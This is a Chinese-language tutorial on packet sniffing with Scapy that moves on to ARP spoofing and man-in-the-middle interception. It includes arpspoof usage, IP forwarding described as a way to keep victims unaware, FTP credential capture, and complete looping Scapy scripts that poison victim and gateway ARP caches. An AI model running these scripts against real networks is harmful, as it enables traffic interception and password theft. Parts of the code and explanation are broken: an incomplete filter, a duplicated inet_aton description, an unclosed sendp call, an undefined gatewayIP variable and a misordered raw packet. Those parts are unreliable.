网络嗅探与欺骗
如果想要彻底了解一个网络,那么最好的办法就是对网络中的流量进行嗅探
嗅探工具可以用来窃取网络中明文传输的密码,监视网络中的数据流向,甚至可以收集远程登录所使用的NTLM数据包(这个数据包中包含登录用的用户名和使用Hash加密的密码)
网络数据嗅探
1.1编写一个网络嗅探工具
在Scapy中提供了一种专门用来捕获数据包的函数sniff(),这个函数的功能十分强大,首先使用help函数来查看一下它的使用方法
函数sniff()中可以使用多个参数,下面先来了解其中几个比较重要参数的含义。
1.count:表示要捕获数据包的数量。默认值为0,表示不限制数量。
2.store:表示是否要保存捕获到的数据包,默认值为1。
3.prn:这个参数是一个函数,这个函数将会应用在每一个捕获到的数据包上。
如果这个函数有返回值,将会显示出来。默认是空;返回一个数据包信息
4.iface:表示要使用的网卡或者网卡列表。
sniff()还支持了过滤器的使用
这个过滤器使用了一种功能非常强大的过滤语法——“伯克利包过滤”语法。
这个规则简称为 BPF,利用它可以确定该获取和检查哪些流量,忽略哪些流量。
BPF可以帮助我们通过比较各个层协议中数据字段值的方法对流量进行过滤。
BPF的主要特点是使用一个名为“原语”的方法来完成对网络数据包的描述,
例如,可以使用“host”来描述主机,“port”来描述端口,同时也支持“与”“或”“非”等逻辑运算。可以限定的内容包括地址、协议等。
使用这种语法创建出来的过滤器被称为BPF表达式,每个表达式包含一个或多个原语。每个原语中又包含一个或多个限定词,主要有三个限定词:Type、Dir和 Proto。
Type用来规定使用名字或数字代表的类型,例如host、net和port等。Dir用来规定流量的方向,例如src、dst和src and dst等。Proto用来规定匹配的协议,例如ip、tcp和arp等。
一些常见的过滤器
只捕获与网络中某一个IP的主机进行交互的流量:“host 192.168.1.1”。只捕获与网络中某一个MAC地址的主机交互的流量:“ether host 00-1a-a0-52-e2-a0”。只捕获来自网络中某一个IP的主机的流量:“src host 192.168.1.1”。只捕获去往网络中某一个IP的主机的流量:“dst host 192.168.1.1”,host也可以省只捕获23端口的流量:“port 23”。捕获除了23端口以外的流量:“!23” 。只捕获目的端口为80的流量:“dst port 80”。只捕获ICMP流量:“icmp”。只捕获type为3,code为0的ICMP流量:“icmp[0] = 3 &&icmp[1] = 0”。 ([type,code])
下面使用sniff()来捕获一些数据包并显示出来
例如,源地址为39.156.66.14为80的tcp报文
>>>sniff(filter = "dst 39.156.66.14 and tcp port 80")
使用了过滤器的sniff()
这时Scapy就会按照要求开始捕获所需要的数据包。
如果希望即时显示捕获的数据包,就可以使用prn函数选项,函数的内容为prn=lambda x:x.summary()
>>> sniff(filter = "dst 39.156.66.14 and tcp port 80",prn=lambda x:x.summary())
利用prn就可以不断地打印输出捕获到的数据包的内容
这个函数可以实现很多功能,例如输出其中的某一个选项:使用 x[IP].src 输出IP报文的目的地址
>>> sniff(filter="dst 39.156.66.14 and tcp port 80",prn=lambda x:x[IP].src,count=5)
在开启 sniff 的时候, 访问目标主机的目标端口,(火狐访问 HTTP服务器,产生流量,开启sniff,进行流量获取)
结果如下:
>>> sniff(filter="dst 39.156.66.14 and tcp port 80",prn=lambda x:x[IP].dst,count=5)
>>> sniff(filter="dst and tcp port 80",prn=lambda x:x[IP].src,count=5)
>>> sniff(filter="dst 39.156.66.14 and tcp port 80",prn=lambda x:x[TCP].dport,count=5)
>>> sniff(filter="dst 39.156.66.14 and tcp port 80",prn=lambda x:x[TCP].sport,count=5)
另外,也可以定义一个回调函数,例如,打印输出这个数据包。
def Callback(packet):
print packet.show()
然后再在sniff()中调用这个函数:
sniff(prn=Callback)
这些捕获到的数据包可以使用wrpcap函数保存起来,保存的格式很多,目前最为通用的格式为pcap。
例如,现在捕获5个数据包并保存起来的语句如下所示。 Pcap= wireshark 保存的 数据包 格式 就是 .pacp
>>>packet = sniff(count=5)
>>>wrpcap(“demo.pcap”, packet)
接下来编写一个完整的数据嗅探工具,它可以捕获和特定主机通信的5个数据包,并保存到catch.pcap数据包中。
from scapy.all import *
import sys
if len(sys.argv) != 2:
print("Usage:catchPackets<IP>\n eg: catchPackets 192.168.0.1")
sys.exit()#退出程序
#定义IP地址
ip = sys.argv[1]
#定义callback回调函数
def callBack(packet):
print(packet.show())
packets = sniff(filter="host " + ip, prn=callBack, count=5)
#将抓取的信息,封装成一个.pcap文件
wrpcap("catch.pcap",packets)
保存的数据包如图所示
1.2调用WireShark来查看数据包
在Scapy中查看这些数据包可能有些杂乱,可以将数据包放到更加专业的工具中来查看
首先在Scapy中产生一个数据包。
>>>packet = IP(dst="")/ICMP()
然后可以将这个数据包放在一个极为优秀的网络分析工具中打开。
>>>wireshark(packet) #调用系统的wireshark软件,查看这个数据包
ARP的原理与缺陷
之所以这里特别提到这个协议,是因为目前网络中大部分的监听和欺骗技术都是源于这个协议。但是这个协议存在一个重大缺陷,就是这个过程并没有任何的认证机制
也就是说如果一台主机收到ARP请求数据包,并不会对这个数据包进行真伪判断,无论这个数据包是否真的来自源主机,都会将其添加到ARP表中。
因此黑客就可能会利用这个漏洞来冒充网关等主机。
地址解析地址,将IP地址,解析成MAC地址
arpspoof来演示一下
arpspoof [-i指定使用的网卡] [-t要欺骗的目标主机] [-r]要伪装成的主机
例如:现在受到欺骗的主机会把攻击者当作网关,从而把所有的数据都发送到这个主机
arpspoof 是以发送ARP回复报文的形式来进行欺骗
ARP address resolution protocol
地址解析协议,将IP地址,解析成MAC地址
数据包,在发送前,完成封装到数据链路层
例如:两台主机PC1:192.168.1.1 PC2:192.168.1.2
PC1 ping PC2 分析通信过程?
现在arpspoof完成了对目标主机的欺骗任务,可以截获到目标主机发往网关的数据包。
但是这里有两个问题:
首先arpspoof仅仅是会截获这些数据包,并不能查看这些数据包,所以还需要使用专门查看数据包的工具 打开WireShark,就可以看到受害者所发送的数据包
第二点就是主机不会再将这些数据包转发到网关,这样将会导致目标主机无法正常上网 所以需要在主机上开启转发功能
root@kali:~# echo 1 >> /proc/sys/net/ipv4/ip_forward
这样就可以将截获到的数据包再转发出去,被欺骗的主机就可以正常上网了,从而无法察觉到受到攻击。
ARP欺骗
ARP欺骗的中间人攻击
再开一个终端
抓eth0的包
登出再登录,再登出回到kali
筛选下ftp
追踪流----TCP流
TCP流
通过kali
中间人欺骗
使用Scapy库来完成这个任务,再来看一遍ARP数据包的格式
这里需要设置的值主要有三个:op、psrc 和 pdst。其中,op对应的是ARP类型,默认值已经是1,就是ARP请求,无须改变;psrc的值最关键,psrc对应前面的源IP地址
>>>gateway = "192.168.202.20"
>>>victimIP = "192.168.202.10"
另外,需要使用Ether层将这个数据包发送出去,查看一下Ether数据包的格式
这一层只有三个参数,dst是目的硬件地址,src是源硬件地址:
这一层只有三个参数,dst是目的硬件地址,src是源硬件地址:
>>>srcMAC="00:0c:29:b4:07:1b"
>>>dstMAC="00:0c:29:2D:7F:89"
接下来构造并发送这个数据包。
>>>sendp(Ether(dst=dstMAC,src=srcMAC)/ARP( psrc=gatewayIP,pdst=victimIP)
即使不为Ether中的dst和src赋值,系统其实也会自动将src的值设置为使用Kali Linux 主机的硬件地址
>>>sendp(Ether()/ARP(psrc=gatewayIP,pdst=victimIP))
成功发送这个数据包之后,查看一下被攻击计算机的ARP缓存表
现在编写一个完整的ARP欺骗程序。这个脚本 运行的时候 是欺骗 受害者的
配置路由
看看是否能ping通
查看arp
发出一个包
再查看arp
查看mac地址
import sys
import time
from scapy.all import sendp,ARP,Ether
if len(sys.argv) !=3:
print(sys.argv[0]+":<target_IP><spoof_ip>")
sys.exit()
victimIP = sys.argv[1]
gatewayIP = sys.argv[2]
packet = Ether() / ARP(psrc=gatewayIP,pdst=victimIP)
while True:
sendp(packet)
time.sleep(3)
print(packet.show())
切片成功
在目标主机中查看ARP缓存表,可以看到这时这个缓存表已经受到欺骗
也可以将这个程序再完善一下,网络嗅探功能也加进来,同时欺骗受害者主机和网关,将硬件地址改为自动获取等。
首先编写一个能获取目标硬件地址的函数。
Scapy中有一个 getmacbyip() 函数,这个函数的作用是给出指定IP地址主机的硬件地址。
在Python中使用这个函数来获取目标主机的硬件地址
看自己的看不出来
如果要开始的是一次中间人欺骗,那么需要同时对目标主机和网关都进行欺骗
而中间人欺骗的原理就是要让目标主机误认为Kali Linux 才是网关,同时让网关误认为Kali Linux 才是目标主机,这样两者之间的通信方式就变成了如图所示的形式
要实现这一点就需要同时向目标主机和网关发送欺骗数据包。
用来欺骗目标主机的数据包如下。
attackTarget = Ether()/ARP(psrc=gatewayIP,pdst=victimIP)
用来欺骗网关的数据包如下
attackGateway= Ether()/ARP(psrc= victimIP,pdst= gatewayIP)
因为ARP缓存表中表项都有生命周期,所以需要不断对两个主机进行欺骗。
这里使用循环发送来实现这个功能,sendp本身就有循环发送的功能,
使用inter指定间隔时间,使用loop=1来实现循环发送。
sendp(attackTarget, inter=1, loop=1)
在主机上开启转发功能: root@kali:~# echo 1 >> /proc/sys/net/ipv4/ip_forward
使用 socket来实现这个例子
相比Scapy,socket是一个更为通用的库文件,但是也要复杂一些
首先看一下ARP数据包的格式,和以前不同,这一次要精确到每一位表示的含义
使用socket来产生一个数据包要远比Scapy麻烦,这个数据包要分成如下多个部分
(1)以太网目的地址,长度为6位。
(2)以太网源地址,长度为6位。
(3)帧类型,长度为两位。
(4)硬件类型,长度为两位。
(5)协议类型,长度为两位。
(6)硬件地址长度,长度为1位。
(7)协议地址长度,长度为1位。
(8)op,长度为两位。
(9)发送端以太网地址,长度为6位。
(10)发送端IP地址,长度为4位。
(11)目的以太网地址,长度为6位。
(12)目的IP地址,长度为4位。
利用这个库实现中间人欺骗的原理和前面一样,也是通过向目标发送一个伪造了的ARP请求数据包来实现的
可以按照如下来填充这个数据包
(1)以太网目的地址:00:0c:29:2D:7F:89,这个表示要欺骗的主机的硬件地址,也可以是广播地址ff:ff:ff:ff:ff:ff。
(2)以太网源地址:00:0c:29:12:dd:23,这是本机的硬件地址。
(3)帧类型:0x0806表示ARP类型,使用两位十六进制表示为\x08\x06。
(4)硬件类型:1表示以太网,使用两位十六进制表示为\x00\x01。
(5)协议类型:8表示IPv4,使用两位十六进制表示为\x08\x00。
(6)硬件地址长度:\x06,表示6位的硬件地址。
(7)协议地址长度:\x04,表示4位的IP地址。
(8)op:1表示请求,2表示回应,使用两位十六进制表示为\x00\x01。
(9)发送端以太网地址:00:0c:29:12:dd:23。
(10)发送端IP地址:192.168.169.2。
(11)目的以太网地址:00:0c:29:2D:7F:89。
(12)目的IP地址:192.168.169.133。
在构造数据包的时候需要注意一点,网络中传输IP地址等数据要使用网络字节顺序,保证数据在不同主机之间传输时能够被正确解释
Python socket模块中包含一些有用的IP转换函数,说明如下
(1)socket.inet_aton(ip_string):将IPv4的地址字符串(例如192.168.10.8)转换为32位打包的网络字节。
(2)socket.inet_aton(packed_ip):转换32位的IPv4网络字节为IP地址的标准点号分隔字符串表示。
使用socket.inet_aton(ip_string)将IP地址转换之后才能发送出去,所以定义一下这个数据包的格式内容
srcMAC="00:0c:29:12:dd:23"
dstMAC="00:0c:29:2D:7F:89"
code='\x08\x06'
htype = '\x00\x01'
protype = '\x08\x00'
hsize = '\x06'
psize = '\x04'
opcode = '\x00\x02'
gatewayIP = '192.168.169.2'
victimIP = '192.168.169.133'
将这些内容组成一个数据包
packet=srcMAC + dstMAC + code + htype + protype + hsize + psize + opcode + srcMAC + socket.inet_aton(gatewayIP) + dstMAC+socket.inet_aton(victimIP)
完整的程序如下所示。: 只是发给 被攻击的目标主机的 包; 还需要再构造一个 发给网关的数据包;同时 kali 开启流量转发